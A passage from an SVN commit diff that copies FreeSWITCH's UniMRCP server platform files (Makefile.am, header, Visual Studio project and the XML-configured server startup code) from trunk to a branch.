+    
+	return TRUE;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-server)

Property changes: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-server/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+MAINTAINERCLEANFILES 	    = Makefile.in
+
+INCLUDES                    = -I$(top_srcdir)/platforms/libunimrcp-server/include \
+                              -I$(top_srcdir)/modules/mrcp-sofiasip/include \
+                              -I$(top_srcdir)/modules/mrcp-unirtsp/include \
+                              -I$(top_srcdir)/libs/mrcp-server/include \
+                              -I$(top_srcdir)/libs/mrcp-engine/include \
+                              -I$(top_srcdir)/libs/mrcp-signaling/include \
+                              -I$(top_srcdir)/libs/mrcpv2-transport/include \
+                              -I$(top_srcdir)/libs/mrcp/include \
+                              -I$(top_srcdir)/libs/mrcp/message/include \
+                              -I$(top_srcdir)/libs/mrcp/control/include \
+                              -I$(top_srcdir)/libs/mrcp/resources/include \
+                              -I$(top_srcdir)/libs/mpf/include \
+                              -I$(top_srcdir)/libs/apr-toolkit/include \
+                              -I$(top_srcdir)/build \
+                              $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+lib_LTLIBRARIES             = libunimrcpserver.la
+
+include_HEADERS             = include/unimrcp_server.h
+
+libunimrcpserver_la_SOURCES = src/unimrcp_server.c
+
+libunimrcpserver_la_LIBADD  = $(top_builddir)/modules/mrcp-sofiasip/libmrcpsofiasip.la \
+                              $(top_builddir)/modules/mrcp-unirtsp/libmrcpunirtsp.la \
+                              $(top_builddir)/libs/mrcp-server/libmrcpserver.la \
+                              $(top_builddir)/libs/mrcp-signaling/libmrcpsignaling.la \
+                              $(top_builddir)/libs/mrcpv2-transport/libmrcpv2transport.la \
+                              $(top_builddir)/libs/mrcp-engine/libmrcpengine.la \
+                              $(top_builddir)/libs/mrcp/libmrcp.la \
+                              $(top_builddir)/libs/mpf/libmpf.la \
+                              $(top_builddir)/libs/apr-toolkit/libaprtoolkit.la \
+                              $(UNIMRCP_APR_LIBS) $(UNIMRCP_APU_LIBS) $(UNIMRCP_SOFIA_LIBS)
+
+libunimrcpserver_la_LDFLAGS = $(UNI_LT_VERSION)

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/include (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-server/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/include/unimrcp_server.h

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/include/unimrcp_server.h (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-server/include/unimrcp_server.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/include/unimrcp_server.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/include/unimrcp_server.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __UNIMRCP_SERVER_H__
+#define __UNIMRCP_SERVER_H__
+
+/**
+ * @file unimrcp_server.h
+ * @brief UniMRCP Server
+ */ 
+
+#include "mrcp_server.h"
+
+APT_BEGIN_EXTERN_C
+
+/** 
+ * Start UniMRCP server.
+ * @param dir_layout the dir layout structure
+ */
+MRCP_DECLARE(mrcp_server_t*) unimrcp_server_start(apt_dir_layout_t *dir_layout);
+
+/** 
+ * Shutdown UniMRCP server.
+ * @param server the MRCP server to shutdown
+ */
+MRCP_DECLARE(apt_bool_t) unimrcp_server_shutdown(mrcp_server_t *server);
+
+APT_END_EXTERN_C
+
+#endif /*__UNIMRCP_SERVER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/libunimrcpserver.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/libunimrcpserver.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-server/libunimrcpserver.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/libunimrcpserver.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/libunimrcpserver.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,155 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="libunimrcpserver"
+	ProjectGUID="{C98AF157-352E-4737-BD30-A24E2647F5AE}"
+	RootNamespace="libunimrcpserver"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpserver.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(ProjectRootDir)modules\mrcp-sofiasip\include&quot;;&quot;$(ProjectRootDir)modules\mrcp-unirtsp\include&quot;"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpserver.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(ProjectRootDir)modules\mrcp-sofiasip\include&quot;;&quot;$(ProjectRootDir)modules\mrcp-unirtsp\include&quot;"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath="..\..\build\uni_version.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\unimrcp_server.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\unimrcp_server.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/src (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-server/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/src/unimrcp_server.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/src/unimrcp_server.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-server/src/unimrcp_server.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/src/unimrcp_server.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-server/src/unimrcp_server.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,702 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <apr_xml.h>
+#include "unimrcp_server.h"
+#include "uni_version.h"
+#include "mrcp_default_factory.h"
+#include "mpf_engine.h"
+#include "mpf_codec_manager.h"
+#include "mpf_rtp_termination_factory.h"
+#include "mrcp_sofiasip_server_agent.h"
+#include "mrcp_unirtsp_server_agent.h"
+#include "mrcp_server_connection.h"
+#include "apt_net.h"
+#include "apt_log.h"
+
+#define CONF_FILE_NAME            "unimrcpserver.xml"
+#define DEFAULT_CONF_DIR_PATH     "../conf"
+#define DEFAULT_PLUGIN_DIR_PATH   "../plugin"
+#ifdef WIN32
+#define DEFAULT_PLUGIN_EXT        "dll"
+#else
+#define DEFAULT_PLUGIN_EXT        "so"
+#endif
+
+#define DEFAULT_IP_ADDRESS        "127.0.0.1"
+#define DEFAULT_SIP_PORT          8060
+#define DEFAULT_RTSP_PORT         1554
+#define DEFAULT_MRCP_PORT         1544
+#define DEFAULT_RTP_PORT_MIN      5000
+#define DEFAULT_RTP_PORT_MAX      6000
+
+#define DEFAULT_SOFIASIP_UA_NAME  "UniMRCP SofiaSIP"
+#define DEFAULT_SDP_ORIGIN        "UniMRCPServer"
+
+#define XML_FILE_BUFFER_LENGTH    2000
+
+static apr_xml_doc* unimrcp_server_config_parse(const char *path, apr_pool_t *pool);
+static apt_bool_t unimrcp_server_config_load(mrcp_server_t *server, const char *plugin_dir_path, const apr_xml_doc *doc, apr_pool_t *pool);
+
+/** Start UniMRCP server */
+MRCP_DECLARE(mrcp_server_t*) unimrcp_server_start(apt_dir_layout_t *dir_layout)
+{
+	apr_pool_t *pool;
+	apr_xml_doc *doc;
+	mrcp_resource_factory_t *resource_factory;
+	mpf_codec_manager_t *codec_manager;
+	mrcp_server_t *server;
+
+	if(!dir_layout) {
+		return NULL;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"UniMRCP Server ["UNI_VERSION_STRING"]");
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"APR ["APR_VERSION_STRING"]");
+	server = mrcp_server_create(dir_layout);
+	if(!server) {
+		return NULL;
+	}
+	pool = mrcp_server_memory_pool_get(server);
+	if(!pool) {
+		return NULL;
+	}
+
+	resource_factory = mrcp_default_factory_create(pool);
+	if(resource_factory) {
+		mrcp_server_resource_factory_register(server,resource_factory);
+	}
+
+	codec_manager = mpf_engine_codec_manager_create(pool);
+	if(codec_manager) {
+		mrcp_server_codec_manager_register(server,codec_manager);
+	}
+
+	doc = unimrcp_server_config_parse(dir_layout->conf_dir_path,pool);
+	if(doc) {
+		unimrcp_server_config_load(server,dir_layout->plugin_dir_path,doc,pool);
+	}
+
+	mrcp_server_start(server);
+	return server;
+}
+
+/** Shutdown UniMRCP server */
+MRCP_DECLARE(apt_bool_t) unimrcp_server_shutdown(mrcp_server_t *server)
+{
+	if(mrcp_server_shutdown(server) == FALSE) {
+		return FALSE;
+	}
+	return mrcp_server_destroy(server);
+}
+
+
+/** Parse config file */
+static apr_xml_doc* unimrcp_server_config_parse(const char *dir_path, apr_pool_t *pool)
+{
+	apr_xml_parser *parser = NULL;
+	apr_xml_doc *doc = NULL;
+	apr_file_t *fd = NULL;
+	apr_status_t rv;
+	const char *file_path;
+
+	if(!dir_path) {
+		dir_path = DEFAULT_CONF_DIR_PATH;
+	}
+	if(*dir_path == '\0') {
+		file_path = CONF_FILE_NAME;
+	}
+	else {
+		file_path = apr_psprintf(pool,"%s/%s",dir_path,CONF_FILE_NAME);
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Open Config File [%s]",file_path);
+	rv = apr_file_open(&fd,file_path,APR_READ|APR_BINARY,0,pool);
+	if(rv != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Open Config File [%s]",file_path);
+		return NULL;
+	}
+
+	rv = apr_xml_parse_file(pool,&parser,&doc,fd,XML_FILE_BUFFER_LENGTH);
+	if(rv != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse Config File [%s]",file_path);
+		return NULL;
+	}
+
+	apr_file_close(fd);
+	return doc;
+}
+
+static apt_bool_t param_name_value_get(const apr_xml_elem *elem, const apr_xml_attr **name, const apr_xml_attr **value)
+{
+	const apr_xml_attr *attr;
+	if(!name || !value) {
+		return FALSE;
+	}
+
+	*name = NULL;
+	*value = NULL;
+	for(attr = elem->attr; attr; attr = attr->next) {
+		if(strcasecmp(attr->name,"name") == 0) {
+			*name = attr;
+		}
+		else if(strcasecmp(attr->name,"value") == 0) {
+			*value = attr;
+		}
+	}
+	return (*name && *value) ? TRUE : FALSE;
+}
+
+static char* ip_addr_get(const char *value, apr_pool_t *pool)
+{
+	if(!value || strcasecmp(value,"auto") == 0) {
+		char *addr = DEFAULT_IP_ADDRESS;
+		apt_ip_get(&addr,pool);
+		return addr;
+	}
+	return apr_pstrdup(pool,value);
+}
+
+/** Load map of MRCP resource names */
+static apt_bool_t resource_map_load(apr_table_t *resource_map, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_attr *attr_name;
+	const apr_xml_attr *attr_value;
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Resource Map");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				apr_table_set(resource_map,attr_name->value,attr_value->value);
+			}
+		}
+	}    
+	return TRUE;
+}
+
+/** Load map of plugins */
+static apt_bool_t plugin_map_load(apr_table_t *plugin_map, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_attr *attr_name;
+	const apr_xml_attr *attr_value;
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Plugin Map");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				apr_table_set(plugin_map,attr_name->value,attr_value->value);
+			}
+		}
+	}    
+	return TRUE;
+}
+
+/** Load SofiaSIP signaling agent */
+static mrcp_sig_agent_t* unimrcp_server_sofiasip_agent_load(mrcp_server_t *server, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	mrcp_sofia_server_config_t *config = mrcp_sofiasip_server_config_alloc(pool);
+	config->local_ip = DEFAULT_IP_ADDRESS;
+	config->local_port = DEFAULT_SIP_PORT;
+	config->ext_ip = NULL;
+	config->user_agent_name = DEFAULT_SOFIASIP_UA_NAME;
+	config->origin = DEFAULT_SDP_ORIGIN;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading SofiaSIP Agent");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			const apr_xml_attr *attr_name;
+			const apr_xml_attr *attr_value;
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				if(strcasecmp(attr_name->value,"sip-ip") == 0) {
+					config->local_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"sip-ext-ip") == 0) {
+					config->ext_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"sip-port") == 0) {
+					config->local_port = (apr_port_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"sip-transport") == 0) {
+					config->transport = apr_pstrdup(pool,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"ua-name") == 0) {
+					config->user_agent_name = apr_pstrdup(pool,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"sdp-origin") == 0) {
+					config->origin = apr_pstrdup(pool,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"force-destination") == 0) {
+					config->force_destination = atoi(attr_value->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr_name->value);
+				}
+			}
+		}
+	}    
+	return mrcp_sofiasip_server_agent_create(config,pool);
+}
+
+/** Load UniRTSP signaling agent */
+static mrcp_sig_agent_t* unimrcp_server_rtsp_agent_load(mrcp_server_t *server, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	rtsp_server_config_t *config = mrcp_unirtsp_server_config_alloc(pool);
+	config->local_ip = DEFAULT_IP_ADDRESS;
+	config->local_port = DEFAULT_RTSP_PORT;
+	config->origin = DEFAULT_SDP_ORIGIN;
+
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading UniRTSP Agent");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			const apr_xml_attr *attr_name;
+			const apr_xml_attr *attr_value;
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				if(strcasecmp(attr_name->value,"rtsp-ip") == 0) {
+					config->local_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"rtsp-port") == 0) {
+					config->local_port = (apr_port_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"sdp-origin") == 0) {
+					config->origin = apr_pstrdup(pool,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"max-connection-count") == 0) {
+					config->max_connection_count = atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"force-destination") == 0) {
+					config->force_destination = atoi(attr_value->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr_name->value);
+				}
+			}
+		}
+		else if(strcasecmp(elem->name,"resourcemap") == 0) {
+			resource_map_load(config->resource_map,elem,pool);
+		}
+	}
+	return mrcp_unirtsp_server_agent_create(config,pool);
+}
+
+/** Load signaling agents */
+static apt_bool_t unimrcp_server_signaling_agents_load(mrcp_server_t *server, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Signaling Agents");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"agent") == 0) {
+			mrcp_sig_agent_t *sig_agent = NULL;
+			const char *name = NULL;
+			const apr_xml_attr *attr;
+			for(attr = elem->attr; attr; attr = attr->next) {
+				if(strcasecmp(attr->name,"name") == 0) {
+					name = apr_pstrdup(pool,attr->value);
+				}
+				else if(strcasecmp(attr->name,"class") == 0) {
+					if(strcasecmp(attr->value,"SofiaSIP") == 0) {
+						sig_agent = unimrcp_server_sofiasip_agent_load(server,elem,pool);
+					}
+					else if(strcasecmp(attr->value,"UniRTSP") == 0) {
+						sig_agent = unimrcp_server_rtsp_agent_load(server,elem,pool);
+					}
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+				}
+			}
+			if(sig_agent) {
+				mrcp_server_signaling_agent_register(server,sig_agent,name);
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}    
+	return TRUE;
+}
+
+/** Load MRCPv2 connection agent */
+static mrcp_connection_agent_t* unimrcp_server_connection_agent_load(mrcp_server_t *server, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	char *mrcp_ip = DEFAULT_IP_ADDRESS;
+	apr_port_t mrcp_port = DEFAULT_MRCP_PORT;
+	apr_size_t max_connection_count = 100;
+	apt_bool_t force_new_connection = FALSE;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading MRCPv2 Agent");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			const apr_xml_attr *attr_name;
+			const apr_xml_attr *attr_value;
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				if(strcasecmp(attr_name->value,"mrcp-ip") == 0) {
+					mrcp_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"mrcp-port") == 0) {
+					mrcp_port = (apr_port_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"max-connection-count") == 0) {
+					max_connection_count = atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"force-new-connection") == 0) {
+					force_new_connection = atoi(attr_value->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr_name->value);
+				}
+			}
+		}
+	}    
+	return mrcp_server_connection_agent_create(mrcp_ip,mrcp_port,max_connection_count,force_new_connection,pool);
+}
+
+/** Load MRCPv2 conection agents */
+static apt_bool_t unimrcp_server_connection_agents_load(mrcp_server_t *server, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Connection Agents");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"agent") == 0) {
+			mrcp_connection_agent_t *connection_agent;
+			const char *name = NULL;
+			const apr_xml_attr *attr;
+			for(attr = elem->attr; attr; attr = attr->next) {
+				if(strcasecmp(attr->name,"name") == 0) {
+					name = apr_pstrdup(pool,attr->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+				}
+			}
+			connection_agent = unimrcp_server_connection_agent_load(server,elem,pool);
+			if(connection_agent) {
+				mrcp_server_connection_agent_register(server,connection_agent,name);
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}    
+	return TRUE;
+}
+
+/** Load RTP termination factory */
+static mpf_termination_factory_t* unimrcp_server_rtp_factory_load(mrcp_server_t *server, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	char *rtp_ip = DEFAULT_IP_ADDRESS;
+	char *rtp_ext_ip = NULL;
+	mpf_rtp_config_t *rtp_config = mpf_rtp_config_create(pool);
+	rtp_config->rtp_port_min = DEFAULT_RTP_PORT_MIN;
+	rtp_config->rtp_port_max = DEFAULT_RTP_PORT_MAX;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading RTP Termination Factory");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			const apr_xml_attr *attr_name;
+			const apr_xml_attr *attr_value;
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				if(strcasecmp(attr_name->value,"rtp-ip") == 0) {
+					rtp_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"rtp-ext-ip") == 0) {
+					rtp_ext_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"rtp-port-min") == 0) {
+					rtp_config->rtp_port_min = (apr_port_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"rtp-port-max") == 0) {
+					rtp_config->rtp_port_max = (apr_port_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"playout-delay") == 0) {
+					rtp_config->jb_config.initial_playout_delay = atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"min-playout-delay") == 0) {
+					rtp_config->jb_config.min_playout_delay = atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"max-playout-delay") == 0) {
+					rtp_config->jb_config.max_playout_delay = atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"codecs") == 0) {
+					const mpf_codec_manager_t *codec_manager = mrcp_server_codec_manager_get(server);
+					if(codec_manager) {
+						mpf_codec_manager_codec_list_load(codec_manager,&rtp_config->codec_list,attr_value->value,pool);
+					}
+				}
+				else if(strcasecmp(attr_name->value,"ptime") == 0) {
+					rtp_config->ptime = (apr_uint16_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"own-preference") == 0) {
+					rtp_config->own_preferrence = atoi(attr_value->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr_name->value);
+				}
+			}
+		}
+	}
+	apt_string_set(&rtp_config->ip,rtp_ip);
+	if(rtp_ext_ip) {
+		apt_string_set(&rtp_config->ext_ip,rtp_ext_ip);
+	}
+	return mpf_rtp_termination_factory_create(rtp_config,pool);
+}
+
+/** Load media engines */
+static apt_bool_t unimrcp_server_media_engines_load(mrcp_server_t *server, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Media Engines");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"engine") == 0) {
+			mpf_engine_t *media_engine;
+			const char *name = NULL;
+			const apr_xml_attr *attr;
+			for(attr = elem->attr; attr; attr = attr->next) {
+				if(strcasecmp(attr->name,"name") == 0) {
+					name = apr_pstrdup(pool,attr->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+				}
+			}
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Media Engine");
+			media_engine = mpf_engine_create(pool);
+			if(media_engine) {
+				mrcp_server_media_engine_register(server,media_engine,name);
+			}
+		}
+		else if(strcasecmp(elem->name,"rtp") == 0) {
+			mpf_termination_factory_t *rtp_factory;
+			const char *name = NULL;
+			const apr_xml_attr *attr;
+			for(attr = elem->attr; attr; attr = attr->next) {
+				if(strcasecmp(attr->name,"name") == 0) {
+					name = apr_pstrdup(pool,attr->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+				}
+			}
+			rtp_factory = unimrcp_server_rtp_factory_load(server,elem,pool);
+			if(rtp_factory) {
+				mrcp_server_rtp_factory_register(server,rtp_factory,name);
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}    
+	return TRUE;
+}
+
+/** Load plugin */
+static apt_bool_t unimrcp_server_plugin_load(mrcp_server_t *server, const char *plugin_dir_path, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const char *plugin_name = NULL;
+	const char *plugin_class = NULL;
+	const char *plugin_ext = NULL;
+	const char *plugin_path = NULL;
+	apt_bool_t plugin_enabled = TRUE;
